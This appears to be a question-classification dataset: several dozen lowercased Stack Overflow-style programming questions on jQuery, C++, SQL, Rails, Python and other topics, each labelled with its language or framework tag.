jquery load and retain functions  currently i am using jquery .load to display some images in a new popup div on my website when a link is clicked  the code is as follows.   <pre><code>$( .more_images ).click(function () {     $( #uploads ).show( slow   function () {         $( #uploads ).load( http://www.sunshinecoastdetailing.com.au/uploads   function () {             $( .i_img ).click(function () {                 var url = $(this).attr( href );                 $( #uploads ).load(url  function () {                     $(document).watermark();                     $( #uploads ).click(function () {                         $( #uploads ).fadeout(300);                     });                 });                 return false;             });         });     });     return false; }); </code></pre>   the callback function then allows an image to be clicked and loaded into the same div. my question is  i d like to have a back button and somehow preserve the function to still click the images and load them in the same div  remembering the .load content isn t loading jquery  hence the functions need to be preserved somehow.    i realise there are plugins that exist  but i d rather keep it simple if i can.,jquery
why does this code get stuck in an infinite loop if i input a letter  <pre><code>int readuntilvalidbaseread( int &amp;base ) { base = 0; while ( base &gt; 9 || base &lt; 2) {     cout &lt;&lt;  enter base:   &lt;&lt; endl;     cin &gt;&gt; base;     if (base &gt; 1 &amp;&amp; base &lt; 10)     {         return base;     }     else      {         cout &lt;&lt;  a valid base number is in the range of 2 to 9 inclusively  &lt;&lt; endl;         base = 0;     } } </code></pre>   }    for an assignment i m doing  i need to use a function to get a base  and this is what i wrote. if any number is input  the code works fine. if i input f  then the code gets stuck repeating    <pre><code>a valid base number is in the range of 2 to 9 inclusively     enter base: </code></pre>,c++
text to speech iphone app  good evening     i m looking for a simple text to speech for iphone app development.  i see numerous posts about this including ...     <a href= https://stackoverflow.com/questions/12839671/text-to-speech-libraries-for-iphone/12839821#12839821 >text-to-speech libraries for iphone</a>    question though  this link is all third party developers to use text to speech.  i thought apple has a class reference to create speech   (nsspeechsynthesizer)  can someone please explain   does apple not provide this for us      thanks,ios
how to give action on click of an image  i am developing an app in which what i want is when a user clicks on an image in an image view    an action should be fired(like when a button is clicked).    i don t want button image. i just want an image view and action on it.    kindly help.,iphone
how can we put data on particular row index on gridview  i have a gridview which binds some data from database except quantity textbox. there is also  a button on grid on each click of this button one number is added to the quantity box (this i want to show on grid). please see my code below &amp; suggest me.    <strong>code :</strong>   <pre><code>if (e.commandname ==  next )    {        int index_next = convert.toint32(e.commandargument);        textbox quantity = (textbox)grdsale.rows[index_next].findcontrol(&amp;quot;txtdisplay&amp;quot;);        int val_next = convert.toint32(quantity.text);        if (val_next != 0 &amp;amp;&amp;amp; val_next &amp;gt; 1)        {            val_next = val_next + 1;        }        (textbox)grdsale.rows[index_next].findcontrol(&amp;quot;txtdisplay&amp;quot;) = val_next.tostring();    // here i m getting error. i also convert this string to textbox but still show error.    } </code></pre>,asp.net
why url is distorted   please help solve the problem.    i use rails 5. i create simple site  whitch have follow navigation:   <pre><code>kalinin@kalinin ~/rails/test5 $ rails routes          prefix verb uri pattern                controller#action      pages_home get  /pages/home(.:format)      pages#home     pages_about get  /pages/about(.:format)     pages#about pages_portfolio get  /pages/portfolio(.:format) pages#portfolio      pages_blog get  /pages/blog(.:format)      pages#blog   pages_contact get  /pages/contact(.:format)   pages#contact            root get  /                          pages#home </code></pre>   home page have 2 paths:   <pre><code>http://localhost:3000/pages/home  http://localhost:3000/    </code></pre>   home page have js-slider. initialization code:   <pre><code>function cleartext(field) {     if (field.defaultvalue == field.value) field.value =   ;     else if (field.value ==   ) field.value = field.defaultvalue; }   var flashvars = {}; flashvars.xml_file =  photo_list.xml ; var params = {}; params.wmode =  transparent ; var attributes = {}; attributes.id =  slider ; swfobject.embedswf( flash_slider.swf    flash_grid_slider    960    350    9.0.0   false  flashvars  params  attributes);   ddsmoothmenu.init({   mainmenuid:  templatemo_menu   //menu div id   orientation:  h   //horizontal or vertical menu: set to  h  or  v    classname:  ddsmoothmenu   //class added to menu s outer div   //customtheme: [ #1c5a80    #18374a ]    contentsource:  markup  // markup  or [ container_id    path_to_menu_file ] }) </code></pre>   problem: on path <code>http://localhost:3000/pages/home</code><br> this slider is not displays. console output follow error message:    <blockquote>    get <a href= http://localhost:3000/pages/photo_list.xml  rel= nofollow >http://localhost:3000/pages/photo_list.xml</a> 404 (not found)  </blockquote>   but on path <code>http://localhost:3000/</code>  slider is displays without problems.    ps: path <code>pages/photo_list.xml</code> is not exist. but path <code>public/photo_list.xml</code> is exist.    pagecontroller:   <pre><code>class pagescontroller &lt; applicationcontroller   def home     render layout:  home    end    def about   end    def portfolio     render layout:  portfolio    end    def blog   end    def contact   end end </code></pre>,ruby-on-rails
how can i solve this  tojson  conversion from dictionary <pre><code>stringbuilder sb = new stringbuilder(); sb.append( [ ); foreach (var r in dictionary) {     sb.append(r.tojson);     sb.append(   ); }  if (sb.length &gt; 1) {     sb.length -= 1; }  sb.append( ] ); sb.tostring(); </code></pre>,c#
source sdk compile errors  i am making a counter strike mod and during compiling i am getting some errors:   <pre><code>panel.cpp(715): error c2248:  cinput::cverifiedusercmd  : cannot access private class declared in class  cinput  1&gt;          \sdk\\game\\client\\input.h(238) : see declaration of  cinput::cverifiedusercmd  1&gt;          \sdk\\game\\client\\input.h(39) : see declaration of  cinput  </code></pre>   line 715:          <pre><code>cinput::cverifiedusercmd* ver = null; </code></pre>   declaration:   <pre><code>class cverifiedusercmd { public:     cusercmd    m_cmd;     crc32_t     m_crc; }; </code></pre>   how do i fix this,c++
selecting strings as variables by their indicators from a file  i have a text file in this format:   <pre><code>&lt;pattern&gt; &lt;line&gt;*string1* string2  other stuff&lt;/line&gt; &lt;line&gt;random words *string3* random words&lt;/line&gt; &lt;/pattern&gt; </code></pre>   i want to get the strings between <code>*</code> and <code> </code> as different variables by reading the text file. i think it should start like that but i m not sure which approach should i take for <code>else</code> condition   <pre><code>def read_pattern():     patterns = open( a.txt )     for line in patterns:         if line ==  &lt;pattern&gt; :             pass         elif line ==  &lt;/pattern&gt; :             break         else: </code></pre>   addition: there will be more than 50 element which starts with <code>&lt;pattern&gt;</code> and ends with <code>&lt;/pattern&gt;</code> i need to select one of them and read the strings between <code>&lt;line&gt;&lt;/line&gt;</code>tags line by line. for example i have this file:   <pre><code>&lt;pattern&gt;     &lt;line&gt;*mike* purple  other stuff&lt;/line&gt;     &lt;line&gt;random words *rob* random words&lt;/line&gt; &lt;/pattern&gt; &lt;pattern&gt;     &lt;line&gt;*tony* red  other stuff&lt;/line&gt;     &lt;line&gt;random words *mark* random words&lt;/line&gt; &lt;/pattern&gt;  </code></pre>   let s say i have two variables in my python code <code>name</code> and <code>color</code> and i choose the second pattern to process. i will read first line first. my variables should be:   <pre><code>name=tony color=red </code></pre>   i will use these variables then it comes to second line. my variables should be   <pre><code>name=mark color=(doesn t matter i won t use it) </code></pre>,python
trying to understand slices of lists  i have a list and i want to understand slices of it. i take a slice <code>[0:1]</code> of it:    <pre><code>&gt;&gt;&gt; l=[1 2 3 4] &gt;&gt;&gt; id(l[0]) 140079803522784 &gt;&gt;&gt; id(l[0:1][0]) 140079803522784 </code></pre>   they are the same. but:   <pre><code>&gt;&gt;&gt; l[0]=7 &gt;&gt;&gt; l [7  2  3  4] &gt;&gt;&gt; l[0:1][0]=13 &gt;&gt;&gt; l [7  2  3  4] </code></pre>   so the slice s 0-element is the same as the list s 0-element  but when i change it in the slice  it is not changed in the list. why not,python
html pre-formatted text  i have to show * something like this using c# on web page    <pre><code>* ** *** **** ***** **** *** ** * </code></pre>,html
jquery syntax showing error <pre><code> $( #txtname #txtemail #txtcomment ).blur(function check()         if( $(this).val()==   ){             $(this).val()= please fill in this required field! ;     }); </code></pre>   please am having error with the above code please help me correct it. thanks,jquery
joining on variables with two different formats  i have a problem where i have a year of birth attribute in table x (format: yyyy)  as well as a date of birth attribute in table y (different format: dd-mm-yyyy).    they are both varchar() type attributes. i want to join these tables on these attributes. for example  i want to select the names of all the people born in the same year. how can i do this,sql
force android to ask for run time permission every time regardless of prior acceptance  whenever you accept a runtime permission android remembers it for about 24 hours i think. however when testing this a big annoyance especially when i have different parts of the app that need the same permission. i want to see if the app works correctly if the user hasn t already accepted the runtime permission but i only have two devices to work with so once i ve accepted i can t really see. is there a way to forget accepted run time permissions,android
code on usercontrol creating error  i use the following code to open a pdf on my asp .net application:   <pre><code>    response.buffer = false; //new     response.clear(); //new     response.clearcontent();     response.clearheaders();     response.addheader( content-disposition    attachment; filename=  + filename);     response.contenttype =  application/pdf ;     try     {         response.transmitfile(filename);          response.end();     }     catch     {         response.clearcontent();     } </code></pre>   works fine in most cases  but when i put this code on a usercontrol button event it gave me a parser error  is there a simple way to either fix or trigger a complete postback so it should work,asp.net
java script and full-stack javascript difference   what is difference between javascript and full-stack javascript.    both are same or not.,javascript
hypen  -  is not getting accepted in sql parameter  i have this piece of code   <pre><code>string strsqlquery =  select   + strfieldname +   from   + strtablename +   where   + strfieldname +   = @value ;  sqlcmd.commandtext = strsqlquery; sqlcmd.connection = con; sqlcmd.parameters.addwithvalue( @value   strfieldvalue); resultvalue = sqlcmd.executescalar(); </code></pre>   my strfieldvalue is  igem - italy     where as if i execute it directly without parameter it executes   <pre><code>string strsqlquery =  select   + strfieldname +   from   + strtablename +   where   + strfieldname +   =    + strfieldname  +    ; </code></pre>   please advise,.net
pointer to interface object gives segmentation fault  just started programming in objective c...    this code gives me a segmentation fault. what s wrong with it  i know for sure it has something to do with  instruction . the array is working fine.    instruction.h:   <pre><code>    #ifndef romo_objectice_c_instruction_h     #define romo_objectice_c_instruction_h     #endif      #import &lt;foundation/foundation.h&gt;     typedef enum direction {north  south  west  east} direction;     @interface instruction:nsobject         @property direction dir;         @property unsigned int distance;     @end </code></pre>   viewcontroller.m:   <pre><code>    #import  instruction.h      #import  viewcontroller.h      @interface viewcontroller ()     @end     @implementation viewcontroller     @synthesize instructionlist;      - (void)viewdidload {     [super viewdidload];     instructionlist = [[nsmutablearray alloc] init];     //the following code causes the segmentation fault     instruction *i;     direction d = north;     i.distance = 1;     i.dir = d;     [instructionlist queuepush:i]; } </code></pre>   any ideas  thanks.,objective-c
angularjs. set default header depending on current route  i need to set default header in $http service depending on current route. this is the code:   <pre><code>$http.defaults.headers.common.headername =  headervalue ; </code></pre>   i need to watch current <code>$location.path</code> and change value of the header according the route.     can i put this code in $routeprovider section  something like:   <pre><code>$routeprovider     .when( /route   {         templateurl:  book.html           controller:  bookcontroller           resolve: function() {                      //set default header here         }     }) </code></pre>   what is the proper way to do that,angularjs
tricky sql query (for me at least!)  i have this query:   <pre><code>select  trackingno  count(trackingno) as numberoftimes  from shippinginfo group by trackingno having (count(trackingno)&gt;1)  order by numberoftimes desc </code></pre>   it reports something along the lines of   <pre><code>trackingno  |  numberoftimes 12345       |  2 23456       |  2 34567       |  3 </code></pre>   is there a way to do the query so that i show other column data      <pre><code>trackingno  |  orderid 12345       |  oid1 12345       |  oid2 23456       |  oid3 23456       |  oid4 34567       |  oid5 34567       |  oid6 </code></pre>   basically i am looking for any duplicate tracking numbers (trackingno) in the table  then report the tracking number and the orderid (orderid) for the duplicate tracking number rows so that i can contact the customers that have duplicate tracking numbers.,sql
error in query: aggregate function or the group by clause  hi all i have a problem with an sql query: the problem is that if i add <code>group by</code> the database engine outputs the error:   <blockquote> <pre><code>column  dbo.classes.class_name  is invalid in the select list because  it is not contained in either an aggregate function or the group by clause. </code></pre> </blockquote>   my query is:   <pre><code>string query =  select p.*                  from dbo.classes as p inner join teacher_classes as a                   on a.class_id = p.class_id                  and teach_id = @id                  group by p.class_id ; </code></pre>   is there any help please for that.    note without group by the query work fine but the result not grouped.,sql
moving div to the bottom and following when scrolling  hello i was gonna use this bottom bar for my site  here is the code:   <pre><code>&lt;div class= bottombar &gt;text here&lt;/div&gt; </code></pre>   css:   <pre><code>.bottombar {   position: absolute;     right: 0;     bottom: 0;     left: 0;     padding: 1rem;     background-color: #efefef;     text-align: center; } </code></pre>   i have googled a lot but i can t find a way to move it to the bottom and whenever i scroll down it stays there  kinda like with position fixed. the html code is also at the top of the code  even though that might don t matter. this was just an example but i wonder how i can fix this  because these sorts of problems happens to me a lot.    site (not with the code i am trying to add  just to see codes etc): <a href= http://roarat.me  rel= nofollow noreferrer >http://roarat.me</a>,html
typeerror: cannot read property of undefined  i m doing a loop in my html form inputs to check it s values. i m doing this in every page i access via chrome-extension. some pages it works very nice  but other ones  i keep getting the error    <blockquote>    typeerror: cannot read property  0  of undefined  </blockquote>   the line where i always get this error is:   <blockquote>    var fieldvalue = details.requestbody.formdata[receivedinputs[aux]][0];  </blockquote>   receivedinputs is one array with the name of all the forms inputs the page have. and i tried to avoid the error by doing:   <blockquote>    if (undefined != receivedinputs[aux])  </blockquote>   the loop to retrieve the values is:   <pre><code>for(var aux=0;aux&lt;receivedinputs.length;aux++)     {         if (undefined != receivedinputs[aux])             {                 var fieldvalue = details.requestbody.formdata[receivedinputs[aux]][0];                 alert(fieldvalue);             }     }    </code></pre>   anyway to successfully check if the variable is not undefined  i tried    <blockquote>    if (typeof receivedinputs[aux] !=  undefined )  </blockquote>   too. and some other sugestions  but keep getting the error...,javascript
undeclared identifier error in c  i have this short c code. but when i try to run the c program for the file below it shows the following errors   <pre><code>#define max 1000 - use of undeclared identifier roundrobin(schedule  n); too long for functional call </code></pre>   where am i going wrong     edited full code for making a roundrobin (ref:<a href= http://www.math.niu.edu/~rusin/known-math/97/roundrobin  rel= nofollow >http://www.math.niu.edu/~rusin/known-math/97/roundrobin</a>)   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #define max 1000  int roundrobin(int schedule[max][max]  int n);   int main(void)  {     int schedule[max][max];     int n  r  i  rounds;      /* input number of teams in the schedule. */     printf( enter the number of teams that you want a schedule for:  );     scanf( %d   &amp;n);      /* if the number of teams is even  requires n-1 rounds; if odd  requires n. */      if (n % 2)         rounds = n;     else         rounds = n-1;      roundrobin(schedule  n);      /* print a nice table. */     printf( \n       team\n     \\  );     for (i = 0; i &lt; n; i++)         printf( %6d   i+1);     printf( \n );     printf( round \\ );     for (i = 0; i &lt; 6 * n; i++)         printf( . );     printf( \n );     for (r = 0; r &lt; rounds; r++)     {         printf( %6d:   r+1);         for (i = 0; i &lt; n; i++)             printf( %6d   schedule[r][i] + 1);         printf( \n );     }     printf( \n );      /* check the schedule and print whether or not it s valid. */     if (check(schedule  n))         printf( schedule is valid.\n );     else         printf( schedule is not valid.\n ); }  /*************************************************************************  compute the round-robin tournament schedule for n teams. if n is even   then there are n-1 rounds; if n is odd  there are n rounds and each team  is idle in exactly one round. a team being idle is indicated by the  schedule saying that it plays team number -1 in a round.  *************************************************************************/ int roundrobin(int s[max][max]  int n) {     int rounds  m  r  i;      /* m is the lowest even number greater than or equal to n. */     if (n % 2)         m = n + 1;     else         m = n;      /* if the number of teams is even  requires n-1 rounds; if odd  requires n. */      if (n % 2)         rounds = n;     else         rounds = n-1;      /* fill in the table with a nice diagonal pattern. */     for (r = 0; r &lt; rounds; r++)     {         for (i = 0; i &lt; r; i++)             s[r][i] = ((rounds+r-i+1) + m) % m;         for (i = r; i &lt; n; i++)             s[r][i] = ((rounds+r-i) + m) % m;     }      /* now  do knight-like moves with the 0 in the first row. every time the 0      lands on a number  put that number in the first column. */     r = 0;     for (i = m-2; i &gt; 0; i--)     {         r = ((r - 2) + rounds) % rounds;         s[r][0] = s[r][i];         s[r][i] = 0;     }      /* if m != n  then remove team n from all the games  and replace with -1. */     if (m != n)         for (i = 0; i &lt; rounds; i++)             s[i][i] = -1; }  /*************************************************************************  looks at a schedule and determines whether it is valid.  *************************************************************************/ int check(int s[max][max]  int n) {     int game[max][max];     int rounds  r  i  j;      for (i = 0; i &lt; n; i++)         for (j = 0; j &lt; n; j++)             game[i][j] = 0;      /* if the number of teams is even  requires n-1 rounds; if odd  requires n. */      if (n % 2)         rounds = n;     else         rounds = n-1;      /* count the number of times every team plays every other team. */     for (r = 0; r &lt; rounds; r++)         for (i = 0; i &lt; n; i++)         {             j = s[r][i];             if (j &gt; -1)             /* a value of -1 would mean that team i is idle this round. */             {                 /* record that teams i and j played. */                 game[i][j] ++;                 game[j][i] ++;                 /* note that we will double-count the games  because we record it                  when team i plays j  as well as when j plays i. */             }         }      /* make sure that every pair played exactly once  and nobody ever played      themselves. */     for (i = 0; i &lt; n; i++)     {         if (game[i][i] != 0)         /* if a team plays themselves  it s not a valid schedule. */         { printf( team %d played itself.\n   i); return 0; }         for (j = i+1; j &lt; n; j++)         /* we have to check for a 2  because games are double-counted. */             if (game[i][j] != 2)             /* if two teams didn t play exactly one time  it s not valid. */                 return 0;     }      /* make sure that each team plays at most once per round. */     for (r = 0; r &lt; rounds; r++)     {         /* we will use game[0] to count the number of times each team appears in          a round. */         for (i = 0; i &lt; n; i++)             game[0][i] = 0;         /* count number of times each teams appears in round r. */         for (i = 0; i &lt; n; i++)         {             j = s[r][i];             /* team i played team j in round r. */             if (j &gt;= 0)             /* -1 means that team i was idle this round. */                 game[0][j] ++;         }         /* make sure each team appears at most once. */         for (i = 0; i &lt; n; i++)             if (game[0][i] &gt; 1)             /* team i appeared more than once in round r. not valid. */                 return 0;     }      /* make sure that when team i plays team j  team j also plays team i. */     for (r = 0; r &lt; rounds; r++)         for (i = 0; i &lt; n; i++)         {             j = s[r][i];             /* team i played team j in round r. */             if (j &gt;= 0)             /* -1 means that team i was idle this round. */                 if (s[r][j] != i)                 /* if team j didn t play team i  not valid. */                     return 0;         }      /* otherwise  the schedule is valid. */     return 1; } </code></pre>,c
open form in an application(c# windows app) from another application (outlook plug-in)f  let me put the scenario for the requirement ...    1.our windows application is running and say suppose it has forms like form1 form2.... 2.from outlook-plugin (custom addin) for some particular action we want to open form1 in already running windows application ......    as we know from system. diagonistics we can know the active processes for a system . with this i was able to locate process for running windows application but not sure how to open new form in that application ....help appreciable   thanks,c#
can someone help me understand a few things please  hello i have two codes to understand the first question is how does the * get rid of my li list styling when i not told css to do so this is the code that getting rid of the bullet points   <pre><code> *{  margin:0;  padding:0;  box-sizing:border-box;  } </code></pre>   and my second question is about div classes i was clawing though facebook s html makeup looking for ideas and i want to know why facebook use a lot of div classes for css when most the code i looked at could easy have been put in one css class i understand css and code being reusable but most of it was just for one div and not use any where else so why would you use multi css statements for one div is this because of readability or optimization or and i missing something and sorry about my english and punctuation,css
what is this called in an object literal   so my question is when using an object literal inside a method i see people doing  this.something = ...     and then referencing it throughout their object. what s the name for this     for e.g. here in the example below if you look in the  cachedom  method  this.button = document.getelementbyid( submit )  gives us a reference we can use later.    i understand the basics of the  this  keyword and inside an object it will reference to that object  but i found it strange to be able to store elements etc and reference them later.    essentially what is the official term for this     thanks    <a href= https://jsfiddle.net/rvs6ymqj/  rel= nofollow noreferrer >https://jsfiddle.net/rvs6ymqj/</a>    html   <pre><code>&lt;body&gt;   &lt;button id= submit  type= submit &gt;submit&lt;/button&gt; &lt;/body&gt; </code></pre>   js   <pre><code>var obj = {   init: function() {     this.cachedom();     this.bindevents();   }     cachedom: function() {     this.button = document.getelementbyid( submit );   }     bindevents: function() {     this.button.addeventlistener( click   function() {       console.log( we clicked the button );     })   } }  obj.init(); </code></pre>,javascript
refresh nstableview after click - not refreshing  i have an app with a uitableview  using both icons and disclosure buttons.  i want to update the icon on a row with a  selected  icon  and update the previously-selected row with an  unselected  icon.  i have the code in place  but when i click on the rows  it sets both rows to the  selected  state  even though via debugging i can see that my state variable is being set to the correct row.  if i keep clicking rows i can sometimes get the  unselected  state to show. i suspect it s a refresh issue  but i ve tried the setneedsdisplay method on the cells and the tableview itself  but with no luck.  anyone run into this before   btw  this is in the simulator (2.2.1) - haven t tried it on the device.    here s the code:   <pre><code>- (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath      {         int newrow = [indexpath row];         int oldrow = [lastindexpath row];          if (newrow != oldrow)         {             [[tableview cellforrowatindexpath:indexpath] setimage: [uiimage imagenamed:@ isselected.png ]];              c_olistptr.c_scuritem = [[tableview cellforrowatindexpath:indexpath] text];              [[tableview cellforrowatindexpath:lastindexpath] setimage: [uiimage imagenamed:@ notselected.png ]];              [lastindexpath release];             lastindexpath = indexpath;              [[tableview cellforrowatindexpath:lastindexpath] setneedsdisplay];             [[tableview cellforrowatindexpath:indexpath] setneedsdisplay];             [tableview setneedsdisplay];         }          [tableview deselectrowatindexpath:indexpath animated:yes];     } </code></pre>   thanks -mike,iphone
apple certified professionals  lets take an example   <ul> <li>microsoft - provides os &amp; application development tools like .net</li> <li>microsoft also provides study center &amp; gives microsoft certified professional certificate or something like that.</li> <li>same way oracle also provides courses - dba</li> <li>same way sap provides</li> </ul>   does apple provides something like following    <ul> <li>apple iphone certified developer</li> <li>iphone specialist</li> <li>iphone gamer developer</li> <li>iphone x x x x x (might be any thing)</li> </ul>   (anything regarding iphone)    from where to get info about this     thanks in advance for helping me in advance.,iphone
the session object is essentially a global variable  so we should try pretty hard to avoid it... right   i ve recently started working on a web app with a new company and found that the session object is used pretty much all the time to hold everything. often it s used to pass data between pages instead of using the query string or viewstate.    other times it s used it to cache datatables so they re not requested from the db a second time.    basically  any time data needs to be stored  a session is used.    this is pretty much the exact opposite of what i do. if it looks like a session variable is needed  i ll rethink my design  or maybe sacrifice some efficiency (i.e. reload the data from the databse  rather than store it in a session).     i m actually thinking that we should always wrap our session objects as singletons or something to ensure they re not overly used.    my argument is that session items are really global variables  so if you find yourself using it to pass data around whenever you feel like it  you re making the page tightly coupled with other pages  bcause they rely on some other page setting the value.     also  you can never rely on the data coming through being correct  as another page may have changed it in the intrim  ie: session[ id ] on one page might accidentally get overidden by a session[ id ] in another browser tab.    there are actually lots of other reasons i think of as well  but can anyone confirm this for me     most sites/forums i ve found recommend people use the session as much as they feel like  to store anything. i d expect it would be discouraged.    does anyone know of a best practice that s generally accepted,asp.net
what is going here php - i don t understand   i have an assocaitive array with all different kind of values  but what is below will find all the array keys that end in <code>study</code> and check the boolean value of it  but what i don t understand is how it works anyway care to explain a step by step explanation of it    <pre><code>$study = array_filter(array_intersect_key($user  array_flip(preg_grep( /study$/   array_keys($user)))));  if ($study) {      ...... } </code></pre>   how does php sort the keys that end in <code>study</code>     and are there any better ways to do this,php
why does calling a property on nsobject pointer gives build errors   i have an <code>nsmutablearray</code> which returns me some object. the object which i added had properties name age.    now when i use these properties on the object returned (<code>obj.name</code> or <code>obj.age</code> )  compiler says  no such member  use (<code>-&gt;</code>) instead of (<code>.</code>)    i understand that nsobject wont have these members and hence it wont understand the property.    but if i use setters  and getters as method (<code>[obj name]</code> or <code>[obj age]</code>) syntax instead of this properties  i dont get any errors.    but using property means calling a setter or getter only  <br> ad objective c is suppose to be dynamic language  right,objective-c
static and set_global together: how come   i see the following code:   <pre><code>static __section( set_global )  struct something * p = null; </code></pre>   i am confused.  static  means local scope  to this c file. above the line there is comment about set_global: elf section for global variables.    so this basically makes variable p a global variable and can be accessed by any source code,c
calculating time difference in 24-hour  i need to subtract two 24-hour time values from 0 to 23.    for example  21:00 - 22:00 should return 23 hours and not -1 (!) hours.    i don t care about minutes.    i tried searching but couldn t get one. but i feel there s already a function for it  so didn t bother to write one.    thank you  all.,javascript
remove checked attribute of a radio button in a table  here is my code  i want to clrae the response of radio when i click on the button.   <pre><code>&lt;table class= x &gt; &lt;tr&gt;&lt;td&gt;&lt;input type= radio &gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&lt;input type= text &gt;&lt;/td&gt;&lt;/tr&gt; &lt;/table&gt; &lt;input type= button  id= a  value= dfrfvrgv &gt; </code></pre>   here is the jquery code    <pre><code>$( #a ).click(function()           {               $( table .x ).find( input ).removeattr( checked );             }); </code></pre>   but it is not working  seems to be problem with the code. please someone help me.,jquery
conditionally displaying a follow button for users  what i m trying to achieve is a follow button that is toggled when the user clicks it. this goes in the users_helper.rb helper. here s what i have.     the line i need help with is  elsif current_user != @user     what i m trying to do here is to remove the follow button for the user s own profile  since he cannot follow himself.     any help is appreciated  thanks!   <pre><code>def render_follow_conditionally     if user_signed_in      follow_toggler      else     button_to  follow   new_user_session_path  class:  btn btn-lake      end end  def follow_toggler     if current_user.following  @user       button_to  followed   unfollow_user_path(@user)  class:  btn btn-default      elsif current_user != @user       button_to  follow   follow_user_path(@user)  class:  btn btn-default      end end  </code></pre>,ruby-on-rails
wrong return value if multple returns in function   see this:   <pre><code>var x = function() {     if(true) {         return false;     }      return true; }  if( x === false) {       alert( ok ); } else {       alert( wrong );        } </code></pre>   check <a href= http://jsfiddle.net/mxvfy/  rel= nofollow >fiddle</a>.    why is it  wrong   why does this function not return <code>false</code> as expected,javascript
reading and write specific lines to text file c#  i have a master file called filename with ids of people. it is in sorted order. i want to divide ids into 27 chunks and copy each chunk into a different text file.   <pre><code>using (filestream fs = file.open(filename  filemode.open  fileaccess.read  fileshare.readwrite))          {             string line;       int numoflines = file.readalllines(filename).length;  -- i have 73467        int eachsubset = (numoflines / 27);        var lines = file.readalllines(datafilename).take(eachsubset);        file.writealllines(filename1 lines);       } </code></pre>   i have 27 different text files. so i want 73467 of ids divided equally and copied over to 27 different files. so  1st file will have id#1 to id#2721 2nd dile will have id#2722 to id#(2722+2721) and so on. i do not know how to automate this and run this quickly.    thanks hr,c#
$(window).scroll function do only one time  hello i have this script and i want that    <pre><code>$(window).scroll(function(){      var fromtop = $(window).scrolltop(); //scroll margin from top     var rightwrapper = $( .right_wrapper ).height(); // right wrapper height      var margin = false;      var conentheight = $( .content_wrapper ).height() + rightwrapper; //content height      if(fromtop &gt; 125 &amp;&amp; rightwrapper &lt; 500){         $( .right_wrapper ).addclass( right-fixed-top );         margin = true;     }else{         $( .right_wrapper ).removeclass( right-fixed-top );     }      if(margin){ // &lt;&lt;&lt;&lt;&lt;&lt;problem is here each scroll          $( .content_wrapper ).css({height:conentheight+ px });     }  }); </code></pre>   <code>$( .content_wrapper ).css({height:conentheight+ px });</code> only first time.,jquery
what is the proper way to organize two different views of the same model   ror newbie. i have read a lot  but i think i m slow to absorb. i m trying to create a web app with two different views of the same content:   <ol> <li>a page full of artworks for visitors to browse by image (at the root of the site).</li> <li>a page with a table listing out those same artworks and showing all the relevant attributes i ve defined for them (medium  etc.) so i can review data associated with each artwork. this is supposed to be my super-lightweight admin page.</li> </ol>   my questions are:   <ol> <li>since i generated this site from a scaffold  i m currently using views/artworks/index.html.erb as the admin table view (supposed to be private)  and i created a  home  page and added some code to the  home  view (and pages_controller) to make the artworks show up there (for the public). <strong>am i doing this right  is this a good method of organization </strong></li> <li>i ve installed devise and successfully hidden links for editing artworks on the page behind a sign in  but i don t know the proper way to cordon off portions of the app (e.g. the admin table page  edit pages  etc.) from the rest of the world. should i be putting these pages in a different folder  <strong>how do i make these pages private </strong></li> </ol>   here are some snippets: home.html.erb   <pre><code>&lt;div id= artworks  class= transitions-enabled &gt;     &lt;% @artworks.each do |artwork| %&gt;         &lt;div class= box &gt;                 &lt;%= link_to image_tag(artwork.image.url(:medium))  artwork %&gt;         &lt;/div&gt;     &lt;% end %&gt; &lt;/div&gt; </code></pre>   artworks/index.html.erb:   <pre><code>  &lt;div class= row &gt;     &lt;div class= col-xs-6 col-sm-8 col-md-4 &gt;       &lt;h1&gt;listing artworks&lt;/h1&gt;     &lt;/div&gt;     &lt;div class= col-xs-4 col-sm-2 col-md-2 col-md-offset-6 &gt;       &lt;%= link_to  new artwork   new_artwork_path  class: btn btn-default  %&gt;     &lt;/div&gt;   &lt;/div&gt;    &lt;div class= table-responsive &gt;     &lt;table class= table table-striped &gt;       &lt;thead&gt;         &lt;tr&gt;           &lt;th&gt;image&lt;/th&gt;           &lt;th&gt;title&lt;/th&gt;           &lt;th&gt;genre&lt;/th&gt;           &lt;th&gt;category&lt;/th&gt;           &lt;th&gt;medium&lt;/th&gt;           &lt;th&gt;date&lt;/th&gt;           &lt;th&gt;dimensions&lt;/th&gt;           &lt;th&gt;availability&lt;/th&gt;           &lt;th&gt;rating&lt;/th&gt;           &lt;th&gt;edit&lt;/th&gt;         &lt;/tr&gt;       &lt;/thead&gt;        &lt;tbody&gt;         &lt;% @artworks.each do |artwork| %&gt;           &lt;tr&gt;             &lt;td&gt;&lt;%= link_to image_tag(artwork.image.url(:thumb))  artwork %&gt;&lt;/td&gt;             &lt;td&gt;&lt;%= artwork.title %&gt;&lt;/td&gt;             &lt;td&gt;&lt;%= artwork.genre %&gt;&lt;/td&gt;             &lt;td&gt;&lt;%= artwork.category %&gt;&lt;/td&gt;             &lt;td&gt;&lt;%= artwork.medium %&gt;&lt;/td&gt;             &lt;td&gt;&lt;%= artwork.date %&gt;&lt;/td&gt;             &lt;td&gt;&lt;%= artwork.height %&gt; x &lt;%= artwork.width %&gt;&lt;/td&gt;             &lt;td&gt;&lt;%= artwork.availability %&gt; &lt;/td&gt;             &lt;td&gt;&lt;%= artwork.rating %&gt; &lt;/td&gt;             &lt;td&gt;&lt;%= link_to  edit   edit_artwork_path(artwork) %&gt;&lt;/td&gt;             &lt;td&gt;&lt;/td&gt;           &lt;/tr&gt;         &lt;% end %&gt;       &lt;/tbody&gt;     &lt;/table&gt;   &lt;/div&gt; </code></pre>   both pages_controller.rb and artworks_controller.rb have code like this:   <pre><code>def index     if params[:tag]       @artworks = artwork.tagged_with(params[:tag])     else       @artworks = artwork.all     end   end </code></pre>   pages_controller.rb:   <pre><code>def home     @artworks = artwork.all   end </code></pre>   and the routes.rb:   <pre><code>get  tagged  =&gt;  artworks#index   :as =&gt;  tagged     devise_for :users   # get  artworks  =&gt;  artworks#index    # post  artworks  =&gt;  artworks#index     root  pages#home    get  about  =&gt;  pages#about    #get  users  =&gt;  users#index     resources :artworks </code></pre>   thanks in advance for your patience and help!,ruby-on-rails
